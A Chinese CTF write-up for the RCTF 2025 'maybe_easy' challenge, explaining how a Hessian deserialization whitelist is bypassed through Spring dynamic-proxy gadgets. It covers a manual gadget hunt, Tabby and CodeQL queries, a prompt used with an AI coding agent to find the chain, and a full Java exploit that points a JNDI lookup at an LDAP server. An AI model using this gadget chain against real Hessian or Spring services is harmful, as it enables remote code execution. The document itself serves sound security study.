RCTF25 maybe_easy
1diot9 Lv5

前言

比赛的时候摆了,都没看见这题是Java(

主要考察hessian反序列化,结合动态代理。由于给了白名单,搜索范围其实比较小,手工搜都能搜出来。

题目附件:

https://github.com/1diot9/CTFJavaChallenge/tree/main/2025/RCTF/attachment-maybe_easy/src

分析

题目概要

依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<dependencies>
<!-- Web 模块 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<!-- Hessian -->
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>

<!-- 测试 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>

</dependencies>

只有hessian和springboot。

主要类:

RCTFController:

img

HessianFactory:

img

Maybe:

img

Maybe是个动态代理,给了个compareTo方法。之前学习hessian反序列化的时候知道,入口点为hashCode,equals,compare。compareTo就对应TreeMap#compare:

img

TreeMap#put会触发compare。

如果key是Maybe动态代理,那么就会触发InvocationHandler#invoke,于是目标变成了找一个可以利用的Handler。

动态代理搜索

这道题的重头戏。

手动搜索

这里确定是利用某个InvocationHandle#invoke去触发后续利用,HessianFactory这里又给了白名单:

1
2
3
4
5
6
7
static {
WHITE_PACKAGES.add("com.rctf.server.tool.");
WHITE_PACKAGES.add("java.util.");
WHITE_PACKAGES.add("org.apache.commons.logging.");
WHITE_PACKAGES.add("org.springframework.beans.");
WHITE_PACKAGES.add("org.springframework.jndi.");
}

所以可以只看org.springframework.beans.开头的和org.springframework.jndi.开头的:

img

一共就三个,慢慢看过去。

  1. EarlySingletonInvocationHandler

img

三个if判断是否是equals,hashCode,toString方法。显然不是,我们这里是compareTo。

下面method.invoke也大概率没法用,compareTo当中的参数是Maybe对象,利用不了。

  1. ObjectFactoryDelegatingInvocationHandler

img

跟第一个差不多,不过最后的this.objectFactory.getObject()引起了我的注意,原先hessian中有关spring的利用链,不就是一个个getXXX串联起来的吗?

img

看一下getObject的实现:

img

还是一个个看过去。

  • org.springframework.beans.factory.support.DefaultListableBeanFactory.DependencyObjectProvider#getObject()

img

一眼看过去没有能够直接利用的,跟进方法后比较复杂,先放着。

  • org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean.TargetBeanObjectFactory#getObject

img

这里的beanFactory.getBean方法是熟悉的,能够调用SimpleJndiBeanFactory去触发Jndi。

img

所以链子完整了。

剩下几个在匿名类中的,很容易能感觉到没法利用,或者很难利用,既然已经找到链子了,做题就不用看了。

  1. ServiceLocatorInvocationHandler

img

这里乍一看也能调用getBean,但是beanName字段不可控。所以也无法利用。

下面的其他方法都直接将getBean当作Sink。

tabby搜索

把两个包导入tabby,也能很快搜索到:

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
MATCH (source:Method {NAME: "invoke", PARAMETER_SIZE: 3})
WHERE (
source.CLASSNAME STARTS WITH "com.rctf.server.tool." OR
source.CLASSNAME STARTS WITH "java.util." OR
source.CLASSNAME STARTS WITH "org.apache.commons.logging." OR
source.CLASSNAME STARTS WITH "org.springframework.beans." OR
source.CLASSNAME STARTS WITH "org.springframework.jndi."
)

// 2. 查找 Sink (出口)
// 直接指定类名和方法名
MATCH (sink:Method {NAME: "getBean", CLASSNAME: "org.springframework.jndi.support.SimpleJndiBeanFactory"}) where sink.SUB_SIGNATURE = "java.lang.Object getBean(java.lang.String,java.lang.Class)"

// 4. 寻找路径
CALL apoc.algo.allSimplePaths(source, sink, "CALL>|ALIAS>", 5) YIELD path

WHERE ALL(n IN nodes(path) WHERE
n.CLASSNAME STARTS WITH "com.rctf.server.tool." OR
n.CLASSNAME STARTS WITH "java.util." OR
n.CLASSNAME STARTS WITH "org.apache.commons.logging." OR
n.CLASSNAME STARTS WITH "org.springframework.beans." OR
n.CLASSNAME STARTS WITH "org.springframework.jndi."
)

RETURN path LIMIT 3

img

CodeQL搜索

我不是很熟悉CodeQL,这里放别的师傅的搜索结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/**
* @name Empty block
* @kind problem
* @problem.severity warning
* @id java/example/empty-block
*/

import java
import libs.Source
import libs.DangerousMethods

class InvokerHandler extends Class {
InvokerHandler() {
this.getASupertype*().getQualifiedName() = "java.lang.reflect.InvocationHandler" and
(
this.getQualifiedName().regexpMatch("java.util.+") or
this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or
this.getQualifiedName().regexpMatch("org.springframework.beans.+") or
this.getQualifiedName().regexpMatch("org.springframework.jndi.+")
)
}
}

class HessianObjectFactory extends Method {
HessianObjectFactory() {
// this.getASupertype*().getQualifiedName() = "org.springframework.beans.factory.ObjectFactory"
this.getName() = "getObject" and
this.hasNoParameters() and
(
this.getQualifiedName().regexpMatch("java.util.+") or
this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or
this.getQualifiedName().regexpMatch("org.springframework.beans.+") or
this.getQualifiedName().regexpMatch("org.springframework.jndi.+")
)
}
}

// from HessianObjectFactory i, DangerousMethod m
// where i.calls(m)
// select i
from DangerousMethod m
select m, m.getName()

AI自动搜索

这里用Claude Code + GLM4.7完成。

提示词:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
> 需要分析的源码包在当前目录。

现在要找一个invoke方法,其所在的类实现InvocationHandler接口,最终调用到org.springframework.jndi.support.SimpleJnd
iBeanFactory#getBean(java.lang.String),路径中所有节点的类名都必须在白名单中。

白名单:

WHITE\_PACKAGES.add("com.rctf.server.tool.");

WHITE\_PACKAGES.add("java.util.");

WHITE\_PACKAGES.add("org.apache.commons.logging.");

WHITE\_PACKAGES.add("org.springframework.beans.");

WHITE\_PACKAGES.add("org.springframework.jndi.");



完成后写入文档。

耗时12分钟,也能找到题目的链子:

img

img

这里如果用jar-ana-mcp的话,效率会更高。

Jndi攻击

这个很简单,给了spring依赖,jdk8,版本没有特别高,所以打BadAttribute+POJO+TemplatesImpl的链子就行。

java-chains直接开:

img

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.rctf.solution;

import com.rctf.server.tool.HessianFactory;
import com.rctf.server.tool.Maybe;
import com.rctf.solution.tools.HessianTools;
import com.rctf.solution.tools.ReflectTools;
import com.rctf.solution.tools.UnsafeTools;
import org.springframework.jndi.JndiTemplate;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashSet;
import java.util.TreeMap;

public class Exp {
public static void main(String[] args) throws Exception {
Class<?> clazz1 = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
Object objectFac = UnsafeTools.getObjectByUnsafe(clazz1);
ReflectTools.setFieldValue(objectFac, "targetBeanName", "ldap://127.0.0.1:50389/a52a1a");
Object jndiFac = UnsafeTools.getObjectByUnsafe(Class.forName("org.springframework.jndi.support.SimpleJndiBeanFactory"));
HashSet<Object> set = new HashSet<>();
set.add("any");
ReflectTools.setFieldValue(jndiFac, "shareableResources", set);
JndiTemplate jndiTemplate = new JndiTemplate();
ReflectTools.setFieldValue(jndiFac, "jndiTemplate", jndiTemplate);
ReflectTools.setFieldValue(objectFac, "beanFactory", jndiFac);

InvocationHandler handler = (InvocationHandler) UnsafeTools.getObjectByUnsafe(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"));
ReflectTools.setFieldValue(handler, "objectFactory", objectFac);

Maybe maybe = new Maybe(handler);

TreeMap<Object, Object> treeMap = new TreeMap<>();
treeMap.put("any", "foo");

ReflectTools.makeTreeMap(treeMap, maybe);

String serialize = HessianFactory.serialize(treeMap);
System.out.println(serialize);

HessianFactory.deserialize(serialize);


}
}

工具类见:https://github.com/1diot9/MyJavaSecStudy/tree/main/tools

参考

https://sheep-sys-sudo.github.io/rctf-maybe-easy/

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 143.8k 访客数 访问量